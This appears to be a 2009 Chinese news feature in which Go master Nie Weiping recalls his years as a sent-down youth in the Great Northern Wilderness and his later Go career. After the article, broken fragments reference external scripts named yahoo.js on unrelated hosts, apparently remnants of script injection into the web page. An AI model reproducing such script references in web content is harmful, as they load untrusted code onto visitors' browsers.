 |
 |
|
老聶回顧知青生活：受許多女孩垂青 曾因打架被銬
作者：徐梅 類別：大陸新聞 來源：南方人物週刊 發表時間：2009/8/21 瀏覽人次:2578
聶衛平依然活躍在棋壇 聶衛平，1952年生。1969年插隊北大荒。中國棋院棋手。 下午四點，北京崇文區東四塊玉南街31號，聶衛平圍棋道場。 “你倆誰是白棋？……哦，你是。你覺得白棋形勢好嗎？……不好，對，是不好，那你忙了半天為了什麼，為了把形勢搞壞？！” 面紅耳赤的孩子對面，是一頭亂髮的老聶，大眼鏡兒已經滑到鼻子尖上，邊框擋住了眼睛。忽而有眼光翻過那邊框，“啪”的一下落在你臉上，使人一震。 道場的孩子們似乎已經適應了他的麻辣教學，遭批的臉紅不語，圍觀的掩口偷笑，一老眾少之間有熟稔自得的歡快。 “好，今天就到這裏！”坐在他身邊的小男孩不過六七歲，戴副小眼鏡，老聶揉他的小腦袋，逗他，“我講得對嗎？”不待孩子回答，自己哈哈大笑兩聲。 “我的性格啊，太急！不適合教小孩，真的。如果是我自己的孩子，早就開打了！”下了課的老聶更加隨意，他仰倒在沙發上，幾乎滑落下去，眼睛半閉，喃喃自語。 在他發胖的已經重達160多斤的身軀上，手依然纖細秀氣，“生活上我是個弱者，什麼都不會做，”他開始自己的知青回憶，脫口而出的是，“要是我留在那裏不回來，恐怕早就死了。” 那些幫我洗衣服的女生 1969年9月，17歲的聶衛平極不情願地去往北大荒，火車開了三天三夜，“我跟誰也沒講話，悶坐到嫩江，再坐車到山河農場。” 那時他剛剛一百斤。父母被打倒，圍棋作為“四舊”被取締，常去的北京棋社被查封，啟蒙老師雷溥華先生被造反派活活打死。對於患有先天性心臟病，從小就免修體育課的他來說，農場好比刑場，“那時候就覺得這一去恐怕是回不來了”。 他在家大哭了一場，然後上路。即將到來的分別和磨難，是說得出口的理由，說不出口的，是苦楚比甜蜜來得更快的初戀。 丫丫，是去年10月認識的女孩兒，彼此的好感一見面就萌生了，很快地，一天不見都不行了。然而1969年3月的一天，丫丫忽然失蹤，輾轉打聽，方才知道她已經被家裏送到東海艦隊當兵了。 16歲的少年為了找到心上人，向父母撒謊，取道山西太原，一路尋到青島，“我們談了很久，我抱怨她走時為什麼不跟我打招呼，她卻不停地跟我講大道理，什麼形勢跟以前不一樣了，要抓革命、促生產，不能像以前那樣無所事事了。聽她這麼說，我心裏難受，我說我希望你說清楚，你為什麼跑到這兒來？我們到底要不要保持聯繫？ “她沒正面回答，只是說你應該回學校複課鬧革命，別在外面來回晃了。我一聽心就涼了半截，我歷盡艱辛千里迢迢來看她，卻落了個‘在外面來回晃’！當時給我的感覺是她現在進入了革命者的行列，而我則成了遊手好閒的人，感覺完全不對了。我心裏的失望、難過、羞愧就甭提了，這是我有生以來感情上遭受的第一次嚴重打擊。” “到農場之後，我給她寫過很多信，”寄一封信需要八分錢郵票，因為農場停發他的工資，八分郵票錢都成問題，他寧可少買一個鏝頭，也要堅持給她寫信，“但她一封都沒有回，後來我也就不寫了。” 愛情被封存起來，放在心底最經不起觸碰的角落，青春的夢想和尊嚴也全都打包扔向茫茫荒原。 因為不會幹活，他是場領導最不待見的人，“沒有辦法啊，是笨啊，別人看我都覺得又可笑又著急。” 因為父母是黑幫，政治上的歧視他逃不掉。“指導員叫人的方式我是一輩子都忘不掉的。舌頭打個卷兒，根本不知道在說什麼，後來我才聽明白是‘我說！’這2個字，叫誰都來這麼一句，我們是沒有名字的。完全是勞改犯一樣的待遇。” 到農場一年之後，因與送水的雞西知青打架，他被銬起來，這個經歷讓他至今心有餘悸，“戴手銬啊，這是壞人才有的‘待遇’吧。我一直都認為自己是個好人，雖然有缺點、錯誤，但我不是壞人啊！我在那裏還進過學習班，在當時，也都是流氓才能進去的。” 就這麼一個“看著挺傻、心眼不壞”的人，偏偏得到許多女知青的垂青，“好多女生給我洗衣服。當時哪個女的幫你洗衣服，就說明你們倆不是一般的關係。有個女生來你宿舍送衣服，別人看著也是件自豪的事情呢。” 成名之後，他又多次去過那個讓他吃盡苦頭的地方，“一直想去找找這些給我洗衣服的女生，可惜都不知道她們去哪里了。我到現在都搞不清楚她們為什麼喜歡我，也許人家都知道我不能幹活，願意幫助弱者吧。” 肚子總比大腦饑餓 1973年春，由周恩來總理提議、鄧小平副總理批准，中國國家圍棋隊重新組建。聶衛平入選由三十多名全國各地的高手組成的集訓隊。上世紀七八十年代，是聶衛平的時代，他橫掃中國棋壇，且創造了四屆中日圍棋擂臺賽連勝11場的驚人紀錄。 聲名遠播之後，三年農場生活對於聶衛平圍棋生涯的影響被一再放大，傳說甚多：徒步千里到另一個分場與程曉流對弈三天 ；自己左腦執白、右腦執黑，左右互搏，練成絕技；以及千里山河對他棋盤大局觀的影響等等。 一段甚為抒情的文字這樣描述，“聶衛平說，我一到黑龍江，就有一種‘天高地闊’的強烈感受。無垠的荒原，無遮無蓋的藍天，和瑰麗的日出日落景象，給我強烈的震動。當我重新坐在棋盤上的時候，感到棋盤更廣闊了。” 率性、真實的老聶為本刊給出了彼時真相，“這些都是誇張，把我文學化了。能想圍棋就說明幹活還不累，吃了東西，稍微擦把臉，趕緊就得睡了，那個時候的口號是‘早起兩點半，晚上看不見’，基本上一有空就睡啊，哪有空去想棋啊。” 棋力真正增長是在1972年至1973年間，1971年冬他跟許多知青一樣，趁著農場的冬歇期偷偷跑回北京，他不想再回去空耗時間和精力，一個偶然的機會使他成為黑龍江農場局駐京聯絡員，安心下棋的夢想漸成現實。 他經常跑到北京第三通用機床廠，那裏聚集著以陳祖德為代表的圍棋“七君子”。“白天拼命下棋，晚上再把白天下的棋擺出來反復研究，思路一鑽進棋裏，就忘了一切，下完棋騎車回家，不是闖了紅燈就是騎錯了路。” 國家集訓隊成立之後，他下棋更是幾近瘋狂，“對別的棋手來說，一週三四局正規比賽已經相當累了，但遠遠滿足不了我。星期六我都不回家，只要有人奉陪，我能從早上一直下到深夜。” 集訓隊裏的高手最怕被聶衛平纏住下棋，因為贏了，聶衛平不肯放他們走；輸了，自己又不甘心，所以經常下個沒完沒了。“我敢肯定地說，那一時期我下的局數，超過任何三名集訓隊員的總數。” 他的輝煌一直持續到20世紀90年代初，中日擂臺賽上他先後戰勝了當年日本棋界幾乎所有的超一流棋手，連續三次從懸崖邊上拯救了中國圍棋隊，使中國隊獲得了前三屆中日圍棋擂臺賽的最後勝利。 如果我留下，肯定早死了 棋盤外的諸多事務最終還是影響了他的精進，他的好友兼橋牌夥伴沈君山有一次私下問他：“你的棋怎樣？會不會退？”他苦笑著回答：“退倒不會退，可也不會進呀！” 沈君山為此曾特意寫信給老聶的朋友，說聶衛平的個性和棋風，像大漠英雄，但京城浮華世界，燈紅酒綠的力捧，非退不可，“自古英雄怕進城”。後來在1989年新加坡首屆“應氏杯”的決賽中，此語不幸而言中。 “應氏杯”決賽上功敗垂成，成為聶衛平圍棋生涯的又一重大轉捩點，沈君山說，“至此，他作為英雄的時代已經過去。” 老聶自己卻似乎從未認輸，他收古力等人為徒，盼著弟子代他實現世界冠軍之夢；他開圍棋道場，耐著性子教小娃娃們下棋，希望這些小苗子養性怡情，能從黑白天地間覓得個中玄妙；而他自己，正式非正式的比賽也都不曾中斷，他仍然好勝，仍然牛氣，“只要我不出昏招，誰也下不贏我！”這話是坊間流傳的，向他求證，他笑著說，“是啊，本來就這樣嘛！” 兩年前老聶聽說當年一起下鄉的一個朋友去世了，“他是北京知青，沒有回城，跟一個雞西女知青結了婚，留在農場當農工。” 這個死訊令他震驚，因為這一對知青在當時都是勞動好手，尤其是綽號“野狐狸”的雞西知青，在當時孱弱笨拙的他看來，實在是偶像級的人物。“當時割豆子，我最多割900米，最後動彈不得，她很厲害，幾個小時割一萬米，誰都比不了她，一萬米啊，簡直是天文數字。” 下次再去農場，他想去看看她，“那裏條件太苦了，如果我留下，肯定早就死了！” 北大荒到底是人生的財富還是青春的災難，他搖頭說不清楚，“沒有這段生活，一直專心下棋，成就能大過現在嗎？農場的很多知青，都生活在意志崩潰的邊緣，挺過來了，對忍耐力、意志力的鍛煉是巨大的。” 沉吟片刻，他的語氣變得堅定，“對個人來說，可能是種積累和磨礪，但是作為一項政策，肯定是個失誤！幾百萬人下鄉做知青，太荒誕了。” 對於一些知青倡議籌建“北大荒知青紀念館”，他坦言“我沒興趣”，“這是歷史造成的錯誤，不必多駐足。有什麼啊，都對自個兒過去過於留戀了，過去就過去了唄。” rc=>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://www.cdbroad.com/Images/yahoo.js>rc=http://4589.in/yahoo.js>
|
|
|||||||||||||||||||||||||||||||
|
更多關於“聶衛平”的新聞
|
||||||||||||||||||||||||||||||||
